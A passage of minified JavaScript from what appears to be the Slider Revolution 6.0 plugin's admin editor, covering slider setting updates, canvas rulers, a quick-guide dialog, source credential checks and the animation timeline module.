ateTopScreenSelectors=function(){RVS.F.updateEasyInputs({container:jQuery("#screen_selector_top_list"),path:"settings."}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_n_opt")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_m_opt")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_t_opt")})},RVS.F.sliderUpdateAllFields=function(e){for(var t in D(!0),RVS.F.updateAvailableDevices(),RVS.F.updateTopScreenSelectors(),RVS.S.sliderInputFieldsInitialised&&RVS.F.updateSliderInputFields(),e&&jQuery(".slider_general_collector .tponoffwrap").each(function(){RVS.F.turnOnOff(this,!1)}),RVS.F.initTpColorBoxes(jQuery("#rbm_colorskins").find(".my-color-field")),RVS.DOC.trigger("updateSourcePostCategories"),RVS.DOC.trigger("updateSourceWooCategories"),RVS.DOC.trigger("updatesliderthumb"),RVS.DOC.trigger("moduleSpinnerChange"),RVS.DOC.trigger("updateAutoRotate"),RVS.SLIDER.settings.addOns)RVS.SLIDER.settings.addOns.hasOwnProperty(t)&&RVS.SLIDER.settings.addOns[t].enable&&RVS.DOC.trigger(t+"_init");if(RVS.F.updateContentDeltas(),RVS.F.updateAllNavigationContainer(!0),O(),C(!1),RVS.S.ulDIM={width:RVS.C.UL.width(),height:RVS.C.UL.height()},RVS.F.updateParallaxLevelTexts(),RVS.F.updateParallaxdddBG(),RVS.DOC.trigger("checkOnScrollSettings"),RVS.SLIDER.settings.pakps){if(RVS.C.RSPREM=document.getElementById("rs_premium"),void 0===RVS.C.RSPREM||null==RVS.C.RSPREM)return;RVS.C.RSPREM.style.display="block",RVS.ENV.activated?RVS.C.RSPREM.innerHTML='<div class="rs_lib_premium_lila">'+RVS_LANG.premium_template+'</div><div class="rs_premium_content">'+RVS_LANG.rs_premium_content+"</div>":(RVS.C.RSPREM.innerHTML='<div class="rs_lib_premium_red"><i class="material-icons">visibility_off</i>'+RVS_LANG.premiumunlock+'</div><div class="rs_premium_content">'+RVS_LANG.rs_premium_content+"</div>",RVS.DOC.on("click",".rs_lib_premium_red",function(){RVS.F.showRegisterSliderInfo()}))}},RVS.F.updateAllNavigationContainer=function(e){RVS.SLIDER.settings.nav.arrows.set&&RVS.F.updateNavStyleSelection({init:e,type:"arrows"}),RVS.SLIDER.settings.nav.bullets.set&&RVS.F.updateNavStyleSelection({init:e,type:"bullets"}),RVS.SLIDER.settings.nav.tabs.set&&RVS.F.updateNavStyleSelection({init:e,type:"tabs"}),RVS.SLIDER.settings.nav.thumbs.set&&RVS.F.updateNavStyleSelection({init:e,type:"thumbs"})},RVS.F.redrawAllNavigationContainer=function(e){RVS.SLIDER.settings.nav.arrows.set&&RVS.F.drawNavigation({init:e,type:"arrows"}),RVS.SLIDER.settings.nav.bullets.set&&RVS.F.drawNavigation({init:e,type:"bullets"}),RVS.SLIDER.settings.nav.tabs.set&&RVS.F.drawNavigation({init:e,type:"tabs"}),RVS.SLIDER.settings.nav.thumbs.set&&RVS.F.drawNavigation({init:e,type:"thumbs"})},RVS.F.setRulers=function(){var e;RVS.S.rulerOffset.x=Math.max(0,(R.width-RVS.F.GW(RVS.screen))/2),RVS.S.rulerOffset.y=Math.max(0,RVS.S.layer_wrap_offset.y),e={offset:{x:RVS.S.rulerOffset.x,y:RVS.S.rulerOffset.y}},requestAnimationFrame(function(){if(void 0!==e&&void 0!==e.offset.x&&void 0!==e.offset.y){var t={x:parseInt(e.offset.x,0)-m.x/RVS.zoom+RVS.S.dim_offsets.navleft,y:e.offset.y-(m.y+RVS.S.dim_offsets.navtop)};t.x=t.x*RVS.zoom,tpGS.gsap.set(i,{x:t.x+"px"}),tpGS.gsap.set(a,{y:t.y+"px"})}})},RVS.F.setRulerMarkers=function(e){e=void 0===e?{y:0,x:0}:e;var t="overruler"===RVS.S.builderHover||"overbuilder"===RVS.S.builderHover?"block":"hidden",i=e.x,a=Math.max(0,e.y-y.top);requestAnimationFrame(function(){tpGS.gsap.set(r,{left:i+"px",height:"15px",display:t}),tpGS.gsap.set(s,{top:a+"px",width:"15px",display:t})})},RVS.F.updateContentDeltas=function(){if(void 0!==RVS.C.layergrid||void 0!==e){var t=RVS.C.UL.offset(),i="slidelayout"===RVS.S.vWmode?void 0===RVS.C.layergrid?e.offset():RVS.C.layergrid.offset():void 0===e?RVS.C.layergrid.offset():e.offset();RVS.S.layer_grid_offset=i,RVS.S.layer_wrap_offset.x=i.left-t.left,RVS.S.layer_wrap_offset.y=i.top-t.top,RVS.S.layer_wrap_offset.xr=RVS.C.UL.width()-e.width()-RVS.S.layer_wrap_offset.x,RVS.S.lgw=e.width(),RVS.S.lgh=e.height(),RVS.SLIDER.settings.size.editorCache[RVS.screen]=RVS.S.lgh,void 0!==l&&(l.innerHTML=parseInt(RVS.S.lgh,0)+"px"),void 0!==d&&(d.innerHTML=Math.round(RVS.F.GW(RVS.screen))+"px"),window.contentDeltaFirstRun=!0}},RVS.F.panSlider=function(e){},RVS.F.updateParallaxLevelTexts=function(){var e,t,i=!1;jQuery(".prallaxlevelselect").each(function(){for(i=!1,t=1;t<16;t++)e=t+". ("+RVS.SLIDER.settings.parallax.levels[t-1]+" %)",this.options[t].text!==e&&(i=1,this.options[t].text=e);i&&jQuery(this).ddTP({})})},RVS.F.checkSliderSource=function(){var e=!0,t=RVS.SLIDER.settings.source[RVS.SLIDER.settings.sourcetype],i=t.count;switch(i=void 0===i||""==i?0:i,RVS.SLIDER.settings.sourcetype){case"facebook":e=""!==t.apiId&&("album"!==t.typeSource||"album"==t.typeSource&&""!==t.album)&&0!=i;break;case"flickr":e=""!==t.apiKey&&""!==t.appSecret&&(""!==t.galleryURL||""!==t.groupURL||""!==t.photoSet||""!==t.userURL)&&0!=i;break;case"instagram":e=void 0!==t.token&&""!==t.token;break;case"vimeo":e=!0===(e=("channel"!=t.typeSource||""!=t.channelName)&&(("user"!=t.typeSource||""!=t.userName)&&(("group"!=t.typeSource||""!=t.groupName)&&("album"!=t.typeSource||""!=t.albumId))))&&0!=i;break;case"youtube":e=""!==t.api&&""!==t.channelId&&0!=i;break;case"twitter":e=""!==t.accessSecret&&""!==t.accessToken&&""!==t.consumerKey&&""!=t.consumerSecret&&""!==t.userId&&0!=i}e||RVS.F.showInfo({content:RVS_LANG.somesourceisnotcorrect,type:"goodtoknow",showdelay:2,hidedelay:5,hideon:"click",event:""})},RVS.F.updateParallaxdddBG=function(){clearTimeout(window.updateParallaxDDDBGTimer),window.updateParallaxDDDBGTimer=setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".slider_ddd_subsettings"),init:!0})},50)},RVS.F.reSortSlides=function(){for(var e in RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(e)&&-1===(""+RVS.SLIDER.slideIDs[e]).indexOf("static_")&&jQuery("#slidelist").append(jQuery("#slide_list_element_"+RVS.SLIDER.slideIDs[e]))},RVS.F.openNewGuide=function(){window.initQuickGuide?window.initQuickGuide.page=0:(RVS.DOC.on("click","#rbm_quickguide .rbm_close, .mcg_quit_page",function(){RVS.F.RSDialog.close(),RVS.F.sliderUpdateAllFields(!0)}),RVS.DOC.on("click",".mcg_next_page",function(){window.initQuickGuide.page++,g()}),RVS.DOC.on("click",".mcg_prev_page",function(){window.initQuickGuide.page--,g(-1)}),window.initQuickGuide={page:0,active:0},RVS.DOC.on("click",".guide_combi_resize",function(){switch(jQuery(".guide_combi_resize").removeClass("selected"),this.className+=" selected",this.id){case"guide_classic":RVS.SLIDER.settings.def.intelligentInherit=!1,RVS.SLIDER.settings.def.autoResponsive=!1,RVS.SLIDER.settings.def.responsiveChilds=!1,RVS.SLIDER.settings.def.responsiveOffset=!1,RVS.SLIDER.settings.size.custom.n=!1,RVS.SLIDER.settings.size.custom.t=!1,RVS.SLIDER.settings.size.custom.m=!1;break;case"guide_intelligent":RVS.SLIDER.settings.def.intelligentInherit=!0,RVS.SLIDER.settings.def.autoResponsive=!0,RVS.SLIDER.settings.def.responsiveChilds=!0,RVS.SLIDER.settings.def.responsiveOffset=!0;break;case"guide_manual":RVS.SLIDER.settings.def.intelligentInherit=!1,RVS.SLIDER.settings.def.autoResponsive=!1,RVS.SLIDER.settings.def.responsiveChilds=!1,RVS.SLIDER.settings.def.responsiveOffset=!1,RVS.SLIDER.settings.size.custom.n=!0,RVS.SLIDER.settings.size.custom.t=!0,RVS.SLIDER.settings.size.custom.m=!0}RVS.F.sliderUpdateAllFields(!0),D(!0),RVS.F.updateAvailableDevices(),RVS.F.updateDeviceOnOffBtns(),RVS.F.updateEasyInputs({container:jQuery(".mcg_option_third_wraps"),trigger:"init",path:"settings."})})),g(),jQuery("#guide_classic").removeClass("selected"),jQuery("#guide_intelligent").removeClass("selected"),jQuery("#guide_manual").removeClass("selected"),RVS.SLIDER.settings.def.intelligentInherit?jQuery("#guide_intelligent").addClass("selected"):RVS.SLIDER.settings.size.custom.n||RVS.SLIDER.settings.size.custom.t||RVS.SLIDER.settings.size.custom.m?jQuery("#guide_manual").addClass("selected"):jQuery("#guide_classic").addClass("selected"),RVS.F.updateEasyInputs({container:jQuery("#rbm_quickguide"),path:"settings."}),RVS.F.RSDialog.create({modalid:"rbm_quickguide",bgopacity:.85})},RVS.F.duplicateSkinColors=function(e){if(void 0!==RVS.SLIDER.settings.skins&&void 0!==RVS.SLIDER.settings.skins.colors)for(var t in RVS.SLIDER.settings.skins.colors)if(RVS.SLIDER.settings.skins.colors.hasOwnProperty(t)&&void 0!==RVS.SLIDER.settings.skins.colors[t].ref){var i=RVS.SLIDER.settings.skins.colors[t].ref,a=[];for(var r in i){if(i.hasOwnProperty(r))if("slide"===e.type&&void 0!==e.slideFrom&&void 0!==e.slideTo&&""+i[r].slide==""+e.slideFrom)(s=jQuery.extend(!0,{},i[r])).slide=""+e.slideTo,s.r=s.r.replace(e.slideFrom,e.slideTo),a.push(s);else if("layer"===e.type&&void 0!==e.layerFrom&&void 0!==e.layerTo&&""+i[r].slide==""+e.slideFrom&&""+i[r].layer==""+e.layerFrom){var s;(s=jQuery.extend(!0,{},i[r])).layer=""+e.layerTo,s.slide=""+e.slideTo,s.r=s.r.replace(e.slideFrom,e.slideTo),s.r=s.r.replace(".layers."+e.layerFrom,".layers."+e.layerTo),a.push(s)}}for(r=0;r<a.length;r++)i.push(a[r])}},RVS.F.buildRuler=function(e){void 0===RVS.S.bodyHidden&&(document.body.style.overflowY="hidden",RVS.S.bodyHidden=!0);var r=i[0].getContext("2d"),s=a[0].getContext("2d"),o=0;RVS.S.isRetina=void 0===RVS.S.isRetina?window.devicePixelRatio>1:RVS.S.isRetina,RVS.S.isIOS=void 0===RVS.S.isIOS?r.webkitBackingStorePixelRatio<2||null==r.webkitBackingStorePixelRatio:RVS.S.isIOS,RVS.S.retinaFactor=void 0===RVS.S.retinaFactor?RVS.S.isRetina&&RVS.S.isIOS?2:1:RVS.S.retinaFactor,r.canvas.width=3600*RVS.S.retinaFactor,r.canvas.height=15*RVS.S.retinaFactor,s.canvas.width=15*RVS.S.retinaFactor,s.canvas.height=3600*RVS.S.retinaFactor,r.scale(RVS.S.retinaFactor,RVS.S.retinaFactor),s.scale(RVS.S.retinaFactor,RVS.S.retinaFactor),r.strokeStyle=s.strokeStyle="#414243",r.font="10px Arial",s.font="10px Arial",r.fillStyle="rgba(183,187,192,0.5)",s.fillStyle="rgba(183,187,192,0.5)",r.beginPath(),s.beginPath();for(var n=0;n<600;n++)o%2!=0&&0!==o?(r.moveTo(10*n*RVS.zoom,15),r.lineTo(10*n*RVS.zoom,15-8/RVS.S.retinaFactor),s.moveTo(15,10*n*RVS.zoom),s.lineTo(15-8/RVS.S.retinaFactor,10*n*RVS.zoom)):0===o?(r.moveTo(10*n*RVS.zoom,15),r.lineTo(10*n*RVS.zoom,0),s.moveTo(15,10*n*RVS.zoom),s.lineTo(0,10*n*RVS.zoom)):(r.moveTo(10*n*RVS.zoom,15),r.lineTo(10*n*RVS.zoom,15-8/RVS.S.retinaFactor),s.moveTo(15,10*n*RVS.zoom),s.lineTo(15-8/RVS.S.retinaFactor,10*n*RVS.zoom)),o=10==++o?0:o;r.stroke(),s.stroke();for(n=0;n<60;n++){var l=100*(n-12),d=(""+l).split("");for(var S in r.fillText(l,(100*n+5)*RVS.zoom,10),d)s.fillText(d[S],3,(100*n+14)*RVS.zoom+9*S)}tpGS.gsap.set(i,{left:Math.round(-1200*RVS.zoom)+"px"}),tpGS.gsap.set(a,{top:Math.round(-1200*RVS.zoom)+"px"}),void 0===e&&(R.width=t.width(),RVS.S.ulDIM={width:RVS.C.UL.width(),height:RVS.C.UL.height()},y=RVS.C.rb.offset())},RVS.F.openSliderApi=function(){"FAIL"!==window.rs_jscss_editor&&("undefined"==typeof RevMirror||void 0===RevMirror?(RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.loadingRevMirror}),RVS.F.loadCSS(RVS.ENV.plugin_url+"/admin/assets/css/RevMirror.css"),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/RevMirror.js",function(){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),RVS.F.openSliderApi()}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.rs_jscss_editor="FAIL"})):void 0===window.rs_jscss_editor?(window.rs_jscss_editor=RevMirror(document.getElementById("rs_css_js_area"),{value:RVS.SLIDER.settings.codes.css,mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!0}),window.rs_jscss_editor.on("focus",function(){window.rs_jscss_editor.refresh()}),setTimeout(RVS.F.openSliderApi,200)):(RVS.F.RSDialog.create({modalid:"rbm_slider_api",bgopacity:.5}),jQuery(".emc_toggle_inner").RSScroll({suppressScrollX:!0}),setTimeout(function(){window.rs_jscss_editor.refresh()},600)))},RVS.F.openColorSkinApi=function(){RVS.F.RSDialog.create({modalid:"rbm_colorskins",bgopacity:0}),RVS.F.updateEasyInputs({container:jQuery("#rbm_colorskins"),path:"settings."}),RVS.F.initTpColorBoxes(jQuery("#rbm_colorskins").find(".my-color-field"))},RVS.F.JWALL=function(){return"carousel"===RVS.SLIDER.settings.type&&!0===RVS.SLIDER.settings.carousel.justify},RVS.F.CSTRETCH=function(){return"carousel"===RVS.SLIDER.settings.type&&(!0===RVS.SLIDER.settings.carousel.stretch||"v"==RVS.SLIDER.settings.carousel.orientation)},RVS.F.CVERT=function(){return"carousel"===RVS.SLIDER.settings.type&&"v"==RVS.SLIDER.settings.carousel.orientation},RVS.F.CHOR=function(){return"carousel"===RVS.SLIDER.settings.type&&"v"!=RVS.SLIDER.settings.carousel.orientation},RVS.F.GW=function(e){var t=parseInt(RVS.SLIDER.settings.size.width[e],0);if(RVS.F.JWALL()){var i=RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId?RVS.S.lastShownSlideId:RVS.S.slideId;"image"!==RVS.SLIDER[i].slide.bg.type&&"external"!==RVS.SLIDER[i].slide.bg.type||void 0!==RVS.SLIDER[i].slide.bg.imageRatio&&(t=parseInt(RVS.SLIDER.settings.size.height[e],0)*RVS.SLIDER[i].slide.bg.imageRatio)}else if(RVS.F.CSTRETCH())i=RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId?RVS.S.lastShownSlideId:RVS.S.slideId;return t},RVS.F.sliderDimensionOffsets=function(){var e={};return e.carouseltop="carousel"===RVS.SLIDER.settings.type?parseInt(RVS.SLIDER.settings.carousel.paddingTop,0):0,e.carouselbottom="carousel"===RVS.SLIDER.settings.type?parseInt(RVS.SLIDER.settings.carousel.paddingBottom,0):0,e.carouseloffset="carousel"===RVS.SLIDER.settings.type?e.carouseltop+e.carouselbottom:0,e.navtop="outer-top"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.top:0,e.navtop="outer-top"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.top:e.navtop,e.navbottom="outer-bottom"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.bottom:0,e.navbottom="outer-bottom"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.bottom:e.navbottom,e.navleft="outer-left"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.left:0,e.navleft="outer-left"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.left:e.navleft,e.navright="outer-right"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.right:0,e.navright="outer-right"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.right:e.navright,e.louter="outer-left"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set||"outer-left"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set,e.router="outer-right"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set||"outer-right"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set,e},RVS.F.updateMinSliderHeights=function(){return S=void 0===c?0:c,c=void 0!==RVS.C.layergrid?RVS.C.rZone.top.height()+RVS.C.rZone.middle.height()+RVS.C.rZone.bottom.height():0,S!==c},RVS.F.setSlidesDimension=function(e,t){D(e,t)},RVS.F.updateScreenShrinks=function(){var e=RVS.F.GW("d");for(var t in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(t)){var i=RVS.V.sizes[t],a=RVS.SLIDER.settings.size.custom[i]?RVS.F.GW(i):Math.min(e,RVS.ENV.grid_sizes[i]);RVS.S.shrink[i]=a/e,e=a}}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR TIMELINE JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function(){var e,t,i,a,r,s,o,n,l,d=["chars","words","lines"],S=[];function c(e){var t=jQuery.extend(!0,{},e);return delete t.borderWidth,delete t.borderStyle,delete t.borderColor,delete t.backgroundColor,delete t.background,delete t.backgroundImage,delete t["backdrop-filter"],t}function p(e){return void 0===e?"start":"backward"===e?"end":"middletoedge"===e?"center":"edgetomiddle"===e?"edge":e}function u(e){e.from="edge"===e.from?"edges":e.from;let t=tpGS.gsap.utils.distribute(e);return function(i,a,r){return t(i,a,r)+(i<=r.length/2?0:e.offset||0)}}function R(e){var t;for(var i in e)"string"==typeof e[i]&&e[i].indexOf("|")>=0&&(t=e[i].replace("[","").replace("]","").split("|"),e[i]=new function(e){return tpGS.gsap.utils.wrap(t,void 0)});return e}function V(e,t,i){if(void 0!==e&&e.indexOf("block")>=0){var a={};switch(a.bmask_in=t.querySelector(".tp-blockmask_in"),null===a.bmask_in?(a.bmask_in=RVS.F.cE({cN:"tp-blockmask_in"}),a.bmask_out=RVS.F.cE({cN:"tp-blockmask_out"}),t.appendChild(a.bmask_in),t.appendChild(a.bmask_out)):a.bmask_out=t.querySelector(".tp-blockmask_out"),i=void 0===i?"power3.inOut":i,a.ft=[{scaleY:1,scaleX:0,transformOrigin:"0% 50%"},{scaleY:1,scaleX:1,ease:i,immediateRender:!1}],a.t={scaleY:1,scaleX:0,transformOrigin:"100% 50%",ease:i,immediateRender:!1},a.type="block",e){case"blocktoleft":case"blockfromright":a.ft[0].transformOrigin="100% 50%",a.t.transformOrigin="0% 50%";break;case"blockfromtop":case"blocktobottom":a.ft=[{scaleX:1,scaleY:0,transformOrigin:"50% 0%"},{scaleX:1,scaleY:1,ease:i,immediateRender:!1}],a.t={scaleX:1,scaleY:0,transformOrigin:"50% 100%",ease:i,immediateRender:!1};break;case"blocktotop":case"blockfrombottom":a.ft=[{scaleX:1,scaleY:0,transformOrigin:"50% 100%"},{scaleX:1,scaleY:1,ease:i,immediateRender:!1}],a.t={scaleX:1,scaleY:0,transformOrigin:"50% 0%",ease:i,immediateRender:!1}}return a.ft[1].overwrite="auto",a.t.overwrite="auto",a}return!1}function y(e){var t,i=void 0===e.source?jQuery.extend(!0,{},e.frame.transform):jQuery.extend(!0,{},e.frame[e.source]),a={originX:"50%",originY:"50%",originZ:"0"};for(var r in i)if(i.hasOwnProperty(r)){if(i[r]="object"==typeof i[r]?i[r][RVS.screen].v:i[r],"inherit"===i[r]||"delay"===r||"direction"===r||"use"===r||"fuse"===r)delete i[r];else if("originX"===r||"originY"===r||"originZ"===r)a[r]=i[r],delete i[r];else if("perspective"!==r&&"transformPerspective"!==r||"global"!==RVS.SLIDER.settings.general.perspectiveType&&"isometric"!==RVS.SLIDER.settings.general.perspectiveType||(i[r]="isometric"===RVS.SLIDER.settings.general.perspectiveType?0:RVS.SLIDER.settings.general.perspective),RVS.F.isNumeric(i[r],0))i[r]=i[r];else if(i[r].match(/[\{\}]/g))i[r]="random("+i[r].replace(/[\{&&\}]+/g,"")+")";else if(i[r].match(/%/g)&&RVS.F.isNumeric(parseInt(i[r],0)))t=void 0===t?{height:RVS.H[e.layerid].w.height(),width:RVS.H[e.layerid].w.width()}:t,i[r]="x"==r?t.width*parseInt(i[r],0)/100:"y"==r?t.height*parseInt(i[r],0)/100:i[r];else if(i[r].match(/[\[\]]/g)){var s=i[r].replace("[","").replace("]","").split("|");i[r]=new function(e){return tpGS.gsap.utils.wrap(s,void 0)}}else{var o=RVS.H[e.layerid].w.position(),n="slide"===RVS.L[e.layerid].behavior.baseAlign?RVS.S.layer_grid_offset.left:0,l=-1===RVS.L[e.layerid].group.puid?RVS.S.lgh:void 0===RVS.H[RVS.L[e.layerid].group.puid]?RVS.S.lgh:RVS.H[RVS.L[e.layerid].group.puid].w.height(),d=-1===RVS.L[e.layerid].group.puid?RVS.S.lgw:void 0===RVS.H[RVS.L[e.layerid].group.puid]?RVS.S.lgw:RVS.H[RVS.L[e.layerid].group.puid].w.width(),S={t:0,b:0};switch("row"===RVS.L[e.layerid].type&&("top"===RVS.L[e.layerid].group.puid?S={t:0,b:Math.round(RVS.C.rZone.top[0].offsetHeight)}:"middle"===RVS.L[e.layerid].group.puid?S={t:Math.round(RVS.S.ulDIM.height/2-RVS.C.rZone.middle[0].offsetHeight/2),b:Math.round(RVS.S.ulDIM.height/2+RVS.C.rZone.middle[0].offsetHeight/2)}:"bottom"===RVS.L[e.layerid].group.puid&&(S={t:Math.round(RVS.S.ulDIM.height-RVS.C.rZone.bottom[0].offsetHeight),b:RVS.S.ulDIM.height+RVS.C.rZone.bottom[0].offsetHeight})),t=void 0===t?{height:RVS.H[e.layerid].w.height(),width:RVS.H[e.layerid].w.width()}:t,i[r]){case"top":i[r]=0-t.height-o.top-S.b;break;case"bottom":i[r]=l-o.top-S.t;break;case"left":i[r]=n-t.width-o.left;break;case"right":i[r]=d-o.left;break;case"middle":case"center":i[r]="x"===r?d/2-o.left-t.width/2:"y"===r?l/2-o.top-t.height/2:i[r]}}"skewX"===r&&void 0!==i[r]&&0!==parseFloat(i[r])&&(i.scaleY=void 0===i.scaleY?1:parseFloat(i.scaleY),i.scaleY*=Math.cos(parseFloat(i[r])*tpGS.DEG2RAD)),"skewY"===r&&void 0!==i[r]&0!==parseFloat(i[r])&&(i.scaleX=void 0===i.scaleX?1:parseFloat(i.scaleX),i.scaleX*=Math.cos(parseFloat(i[r])*tpGS.DEG2RAD))}if(i.transformOrigin=a.originX+" "+a.originY+" "+a.originZ,i.clip&&RVS.L[e.layerid].timeline.clipPath.use){var c="rectangle"==RVS.L[e.layerid].timeline.clipPath.type,p=parseInt(i.clip,0),u=100-parseInt(i.clipB,0),R=Math.round(p/2);switch(RVS.L[e.layerid].timeline.clipPath.origin){case"invh":i.clipPath="polygon(0% 0%, 0% 100%, "+p+"% 100%, "+p+"% 0%, 100% 0%, 100% 100%, "+u+"% 100%, "+u+"% 0%, 0% 0%)";break;case"invv":i.clipPath="polygon(100% 0%, 0% 0%, 0% "+p+"%, 100% "+p+"%, 100% 100%, 0% 100%, 0% "+u+"%, 100% "+u+"%, 100% 0%)";break;case"cv":i.clipPath=c?"polygon("+(50-R)+"% 0%, "+(50+R)+"% 0%, "+(50+R)+"% 100%, "+(50-R)+"% 100%)":"circle("+p+"% at 50% 50%)";break;case"ch":i.clipPath=c?"polygon(0% "+(50-R)+"%, 0% "+(50+R)+"%, 100% "+(50+R)+"%, 100% "+(50-R)+"%)":"circle("+p+"% at 50% 50%)";break;case"l":i.clipPath=c?"polygon(0% 0%, "+p+"% 0%, "+p+"% 100%, 0% 100%)":"circle("+p+"% at 0% 50%)";break;case"r":i.clipPath=c?"polygon("+(100-p)+"% 0%, 100% 0%, 100% 100%, "+(100-p)+"% 100%)":"circle("+p+"% at 100% 50%)";break;case"t":i.clipPath=c?"polygon(0% 0%, 100% 0%, 100% "+p+"%, 0% "+p+"%)":"circle("+p+"% at 50% 0%)";break;case"b":i.clipPath=c?"polygon(0% 100%, 100% 100%, 100% "+(100-p)+"%, 0% "+(100-p)+"%)":"circle("+p+"% at 50% 100%)";break;case"lt":i.clipPath=c?"polygon(0% 0%,"+2*p+"% 0%, 0% "+2*p+"%)":"circle("+p+"% at 0% 0%)";break;case"lb":i.clipPath=c?"polygon(0% "+(100-2*p)+"%, 0% 100%,"+2*p+"% 100%)":"circle("+p+"% at 0% 100%)";break;case"rt":i.clipPath=c?"polygon("+(100-2*p)+"% 0%, 100% 0%, 100% "+2*p+"%)":"circle("+p+"% at 100% 0%)";break;case"rb":i.clipPath=c?"polygon("+(100-2*p)+"% 100%, 100% 100%, 100% "+(100-2*p)+"%)":"circle("+p+"% at 100% 100%)";break;case"clr":i.clipPath=c?"polygon(0% 0%, 0% "+p+"%, "+(100-p)+"% 100%, 100% 100%, 100% "+(100-p)+"%, "+p+"% 0%)":"circle("+p+"% at 50% 50%)";break;case"crl":i.clipPath=c?"polygon(0% "+(100-p)+"%, 0% 100%, "+p+"% 100%, 100% "+p+"%, 100% 0%, "+(100-p)+"% 0%)":"circle("+p+"% at 50% 50%)"}!0!==RVS.F.isFirefox()&&(i["-webkit-clip-path"]=i.clipPath),i["clip-path"]=i.clipPath,delete i.clip}else i.clip&&(i.clipPath=RVS.L[e.layerid].idle.spikeUse?"polygon("+RVS.F.getClipPaths(RVS.L[e.layerid].idle.spikeLeft,0,parseFloat(RVS.L[e.layerid].idle.spikeLeftWidth))+","+RVS.F.getClipPaths(RVS.L[e.layerid].idle.spikeRight,100,100-parseFloat(RVS.L[e.layerid].idle.spikeRightWidth),!0)+")":"none",!0!==RVS.F.isFirefox()&&(i["-webkit-clip-path"]=i.clipPath),i["clip-path"]=i.clipPath,delete i.clip);return void 0!==e.frame&&void 0!==e.frame.bfilter&&e.frame.bfilter.use&&(i["backdrop-filter"]=RVS.F.buildBackdropFilter(e.frame.bfilter)),void 0!==e.frame&&void 0!==e.frame.filter&&e.frame.filter.use?(i.filter=RVS.F.buildFilter(e.frame.filter),i["-webkit-filter"]=i.filter):jQuery.inArray(e.source,["chars","words","lines"])>=0&&e.frame[e.source].fuse?(i.filter=RVS.F.buildFilter(e.frame[e.source]),i["-webkit-filter"]=i.filter):e.sessionFilterUsed||void 0===e.sessionFilterUsed?(i["-webkit-filter"]="blur(0px) grayscale(0%) brightness(100%)",i.filter="blur(0px) grayscale(0%) brightness(100%)"):(i["-webkit-filter"]="none",i.filter="none"),i.ease=void 0!==i.ease?i.ease:void 0===i.ease&&void 0!==e.ease||void 0!==i.ease&&void 0!==e.ease&&"inherit"===i.ease?e.ease:e.frame.timeline.ease,i.ease=void 0===i.ease||"default"===i.ease?"power3.inOut":i.ease,i.force3D="auto",i}function m(e,t){e=e<0?0:e;var i=Math.floor(e/6e3),a=Math.floor(Math.ceil(e-6e3*i)/100),r=Math.round(e-100*a-6e3*i);0==i?i="00":i<10&&(i="0"+i.toString()),0==a?a="00":a<10&&(a="0"+a.toString()),0==r?r="00":r<10&&(r="0"+r.toString()),t.ctm.textContent=i.toString(),t.cts.textContent=a.toString(),t.ctms.textContent=r.toString()}RVS.F.initTimeLineModules=function(){RVS.ENV.tlGridWrap=void 0===RVS.ENV.tlGridWrap?jQuery("#tl_gridmanagement_wrap"):RVS.ENV.tlGridWrap,RVS.ENV.tlMultipWrap=void 0===RVS.ENV.tlMultipWrap?jQuery(".tl_multip_wrap"):RVS.ENV.tlMultipWrap,RVS.ENV.tlMagnifWrap=void 0===RVS.ENV.tlMagnifWrap?jQuery(".tl_magnifying_wrap"):RVS.ENV.tlMagnifWrap,RVS.DOC.on("click","#maxtime",function(){jQuery(".slide_submodule_trigger.selected").removeClass("selected"),RVS.F.mainMode({mode:"slidelayout",forms:["*slidelayout**mode__slidestyle*#form_slide_progress"],set:!0,uncollapse:!0,slide:RVS.S.slideId})}),RVS.DOC.on("updateAllLayerFrames",RVS.F.updateAllLayerFrames),RVS.DOC.on("updateSlideLoopRange",function(){RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.set&&RVS.F.updateSlideLoopTimes({cont:!0,pos:!0,start:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.start/10,end:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.end/10})}),RVS.DOC.on("updateFixedScrollRange",function(){RVS.SLIDER.settings.scrolltimeline.set&&RVS.SLIDER.settings.scrolltimeline.fixed&&RVS.F.updateFixedScrollTimes({cont:!0,pos:!0,s